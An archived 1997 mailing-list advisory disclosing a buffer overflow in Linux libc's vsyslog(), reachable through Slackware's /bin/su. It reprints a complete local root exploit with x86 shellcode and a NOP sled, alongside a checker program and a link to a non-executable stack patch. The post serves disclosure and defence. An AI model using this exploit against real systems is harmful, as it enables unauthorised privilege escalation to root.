Linux vsyslog() overflow

From: Solar Designer (solarat_private)
Date: Sat Dec 20 1997 - 19:43:54 PST

  • Next message: Dann Lunsford: "Re: Linux vsyslog() overflow"

    Hello,
    
    This vulnerability is already fixed in libc 5.4.38, but doesn't seem to be
    widely known, and a lot of people are still running vulnerable versions of
    libc. Thanks to Jon Lewis for recovering the exploit erased by an intruder.
    
    The buffer overflow is in vsyslog(), by the ident string previously set with
    openlog(). It is exploitable via some versions of /bin/su (for example, the
    version that comes with Slackware 3.1), and possibly some other privileged
    processes that use user-supplied data in ident for openlog() -- could even
    be a daemon setting the ident to something like "daemon: username" (I don't
    know of any such examples though).
    
    I have verified this is exploitable in libc 5.4.23 and RedHat's 5.3.12-18
    that comes with RH 4.2, but is fixed in 5.4.38. It can't be exploited via
    /bin/su on standard RedHat setup though.
    
    Actually, the behavior of Slackware's /bin/su is quite stupid anyway:
    
    sunny:/tmp$ ln -s /bin/su kernel
    sunny:/tmp$ export PATH=.:$PATH
    sunny:/tmp$ kernel
    Password:
    sunny:/tmp# tail -1 /var/log/messages
    Dec 20 23:32:33 sunny kernel: root on /dev/ttyp1
    
    No real security hole here, but this shows it was a stupid thing to use
    argv[0] for openlog().
    
    Here goes the original exploit, the author changed the shellcode to run
    _bin_sh since /bin/su uses basename(argv[0]) as ident, and using '/' in
    the shellcode is not possible. You have to link _bin_sh to /bin/sh and
    make sure you have "." in your path before running the exploit.
    
    --- syslog-exp.c ---
    
    /*
     vsyslog()/openlog() exploit by BiT - 8/8 1997
     Greets to: doodle, skaut, melon, kweiheri etc.
     */
    
    #include <stdlib.h>
    #include <unistd.h>
    
    unsigned long get_esp(void)
    {
      __asm__("movl %esp, %eax");
    }
    
    void main(int argc, char **argv)
    {
      unsigned char shell[] =
      "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
      "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
      "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff_bin_sh";
      char *buf,*p;
      unsigned long *adr;
      int i;
      if((p=buf=malloc(2028+28)) == NULL)
        exit(-1);
      memset(p,0x90,2028);
      p+=2028-strlen(shell);
      for(i=0;i<strlen(shell);i++)
        *p++=shell[i];
      adr=(long *)p;
      for(i=0;i<7;i++)
        *adr++=get_esp();
      p=(char *)adr;
      *p=0;
      execl("/bin/su",buf,NULL);
    }
    
    --- syslog-exp.c ---
    
    You can also take my generic return-into-libc exploit (the lpr example),
    set SIZE=2100, ALIGNMENT=12, edit the execl() -- and it works just fine,
    without a problem with shellcode since there's none.
    
    Since you should fix the vulnerability regardless if it's exploitable via
    your version of /bin/su or not, here's a tiny program for checking if your
    libc is vulnerable. If this segfaults, you're vulnerable.
    
    --- syslog-check.c ---
    
    #include <syslog.h>
    
    int main()
    {
            char ident[4096];
    
            memset(ident, 'x', sizeof(ident));
            ident[sizeof(ident) - 1] = 0;
    
            openlog(ident, 0, LOG_AUTHPRIV);
            syslog(LOG_NOTICE, "message");
    
            return 0;
    }
    
    --- syslog-check.c ---
    
    P.S. There's a new version of my non-executable stack patch available at
    http://www.false.com/security/linux-stack/ -- the Linux 2.0.33 version
    got improved trampoline support (an extra kernel configuration option)
    for running with glibc (RedHat 5.0).
    
    Signed,
    Solar Designer
    



    This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 13:37:15 PDT